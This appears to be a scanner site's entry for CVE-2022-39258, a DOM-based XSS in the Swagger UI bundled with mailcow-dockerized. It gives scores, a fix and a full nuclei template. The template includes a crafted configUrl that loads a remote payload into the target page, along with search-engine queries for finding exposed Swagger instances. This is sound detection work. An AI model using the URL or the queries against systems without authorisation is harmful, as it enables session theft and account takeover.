Mailcow Dockerized Swagger UI - Cross-Site Scripting

mediumseverity

6.1CVSS score

1.8%likelihood of exploitation, next 30 days

79%of all CVEs are less likely

Readycheck to confirm it

Mailcow-dockerized before 2022-09a uses a vulnerable version of Swagger UI (before 4.11.1) that is affected by a DOM-based Cross-Site Scripting (XSS) vulnerability. When a user accesses the Swagger documentation with a crafted configUrl or url parameter containing JavaScript payloads, arbitrary code execution can occur in the user's browser. This allows attackers to steal cookies, session data, or execute actions on behalf of the victim by enticing them to open a malicious Swagger UI link.

Impact

Successful exploitation allows an attacker to run arbitrary JavaScript in the context of the victim's browser (session hijacking, data theft, or account takeover) if the victim visits a crafted Swagger UI documentation URL within mailcow-dockerized affected versions.

Fix

Upgrade mailcow-dockerized to at least 2022-09a, which updates Swagger UI to version 4.11.1 or later. Do not expose internal Swagger UI endpoints publicly.

How to confirm it

Positive when: swagger_dom == true AND contains "swagger"

Run it with nuclei: nuclei -id CVE-2022-39258 -u <target>

The full check

id: CVE-2022-39258

info:
  name: Mailcow Dockerized Swagger UI - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    Mailcow-dockerized before 2022-09a uses a vulnerable version of Swagger UI (before 4.11.1) that is affected by a DOM-based Cross-Site Scripting (XSS) vulnerability. When a user accesses the Swagger documentation with a crafted configUrl or url parameter containing JavaScript payloads, arbitrary code execution can occur in the user's browser. This allows attackers to steal cookies, session data, or execute actions on behalf of the victim by enticing them to open a malicious Swagger UI link.
  impact: |
    Successful exploitation allows an attacker to run arbitrary JavaScript in the context of the victim's browser (session hijacking, data theft, or account takeover) if the victim visits a crafted Swagger UI documentation URL within mailcow-dockerized affected versions.
  remediation: |
    Upgrade mailcow-dockerized to at least 2022-09a, which updates Swagger UI to version 4.11.1 or later. Do not expose internal Swagger UI endpoints publicly.
  reference:
    - https://github.com/mailcow/mailcow-dockerized/security/advisories/GHSA-99r2-q6fj-6w47
    - https://github.com/swagger-api/swagger-ui/issues/8322
    - https://nvd.nist.gov/vuln/detail/CVE-2022-39258
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-39258
    cwe-id: CWE-79
    epss-score: 0.01832
    epss-percentile: 0.79073
    cpe: cpe:2.3:a:mailcow:mailcow-dockerized:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: mailcow
    product: mailcow-dockerized
    shodan-query:
      - http.component:"Swagger"
      - http.component:"swagger"
      - http.favicon.hash:"-1180440057"
    fofa-query: icon_hash="-1180440057"
    zoomeye-query: app:"Swagger UI"
  tags: cve,cve2022,headless,swagger,mailcow,xss,dom-xss,mailcow

headless:
  - steps:
      - args:
          url: '{{BaseURL}}/api/index.html?configUrl=https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/helpers/payloads/swagger.json'
        action: navigate

      - action: waitdialog
        name: swagger_dom

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - swagger_dom == true

      - type: word
        part: body
        words:
          - "swagger"
        case-insensitive: true

References

Use this check only on systems you are authorised to test. Where the data comes from